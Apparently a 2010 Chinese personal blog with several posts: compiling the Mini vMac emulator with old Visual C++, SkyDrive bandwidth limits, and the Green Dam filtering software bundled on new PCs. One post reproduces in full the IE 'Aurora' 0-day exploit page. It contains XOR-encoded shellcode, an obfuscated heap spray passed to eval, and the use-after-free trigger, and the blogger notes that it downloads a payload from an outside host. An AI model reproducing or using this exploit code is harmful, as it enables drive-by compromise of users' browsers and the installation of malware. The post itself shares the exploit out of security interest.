令人惊奇的是,我们修改的仅仅是Mini vMac与系统结合的那一部分,其模拟代码根本没有必要修改。
这样修改后,工程设置把警告级别再改下,编译可以得到这样的结果。

经过我的测试,编译出的MVMAC.exe的链接器版本号为3.10,实际可以在Windows NT 3.5以上的系统运行。

VC2.0和VC1.1的SDK差不多,基本可以如法炮制。
目前还有一些问题点:
1、VC1.1(CL 8.0)、VC 2.0(CL 9.0)都不支持__int64,这是Mini vMac II浮点模拟库必须的,因此目前VC1.1无法简单地编译具有FPU模拟功能的Mini vMac II。
2、这样编译的Mini vMac关闭较慢,还没搞清楚怎么回事,
3、VC1.1的链接器在高版本NT系统(如NT4、2000、XP)下工作不正常,生成特别大的exe,需要使用2.0版本的替换。
另外,某论坛上有洋大人问是否能够把这个编译到16位的Windows平台,或者把这个在Win3.1+Win32s上运行,我只能说,前者需要进行大幅修改(程序中大量直接使用int,大量使用32位内存模型的内存分配),而后者据我的测试,连找不到ROM的错误信息都显示不出来,估计是DIB不支持之类的问题。

2010年1月27日星期三

Skydrive的Public流量限制问题

这几天发现自己Skydrive的东西只有自己登录之后才能下载了,报错HTTP 509 超过带宽限制。我目前还没有具体测试出这个流量限制,也无法在任何地方查到这个限制的准确值。M$在关于Skydrive的任何官方资料中都没有提到过这个限制,估计是因为有人滥用文件的固定链接而故意做的限制。
我这个空间上有很多文件来自SkyDrive,这样下来就都不能下载了。估计只有当这个限制解除的时候(具体解除时间不明,传说是一天)再来看看吧。
如果大家对Skydrive的详细限制有所研究,欢迎mail或者Messenger yksoft1@tom.com 来进行讨论。

2010年1月23日星期六

真正和新机捆绑在一起的“绿坝”软件

还记得我以前发的这几贴么?
http://yksofthome.blogspot.com/2009/06/4000.html
http://yksofthome.blogspot.com/2009/06/blog-post.html
http://yksofthome.blogspot.com/2009/06/v317.html
呵呵。据说最后工信部让了步,不玩强制安装了。但是,像HP中国、某ASUS和某烂泥窝,还是在他们的新机中以光盘的形式捆绑了这个软件。请看这张ASUS版本的盘:
Photobucket
做了个ISO,发现里面的安装程序还是3月的3.13版,用“尔霸”工具应该能轻易干掉。而且,里面的文档文件居然是doc格式(你知道品牌机有几个会预装Office?)而且,绿坝软件在Win7下出现问题的概率不小(那个LSP驱动,那几个服务),ASUS估计也就敷衍下工信部(最后实际上已经可有可无了),懒得真正测试了。
ISO放上来:
http://cid-66b9967ec9d22dd4.skydrive.live.com/self.aspx/.Public/Greendam-Asus.iso

2010年1月16日星期六

据说这就是最近几天Google被攻击中发现的IE 0day代码

http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
http://www.metasploit.com/redmine/projects/framework/repository/revisions/8136/entry/modules/exploits/windows/browser/ie_aurora.rb
http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/

全文贴出,这个exploit貌似和国内最近很多溢出网马类似,采用了xor加密

<html><script>var sc = unescape("%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, 728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, 350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686, 805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693, 322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833, 224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224, 735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ )
{ arr[i] = String.fromCharCode(sss[i]/7); }
var cc=arr.toString();cc=cc.replace(/ ,/ g, "" ); cc = cc.replace(/@/g, ","); eval(cc); var x1 = new Array(); for (i = 0; i < 200; i ++ ){ x1[i] = document.createElement("COMMENT"); x1[i].data = "abc";};
var e1 = null;
function ev1(evt){
e1 = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50); }
function ev2(){ p = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
for (i = 0; i < x1.length; i ++ ){x1[i].data = p;};
var t = e1.srcElement;
}
</script>
<span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

解密第一段exploit代码后看到其实际下载地址:
http://demo1.ftpaccess.cc/demo/ad.jpg
来自一个动态域名,已经无法解析

话说还有个PDF的exploit,我还没收到。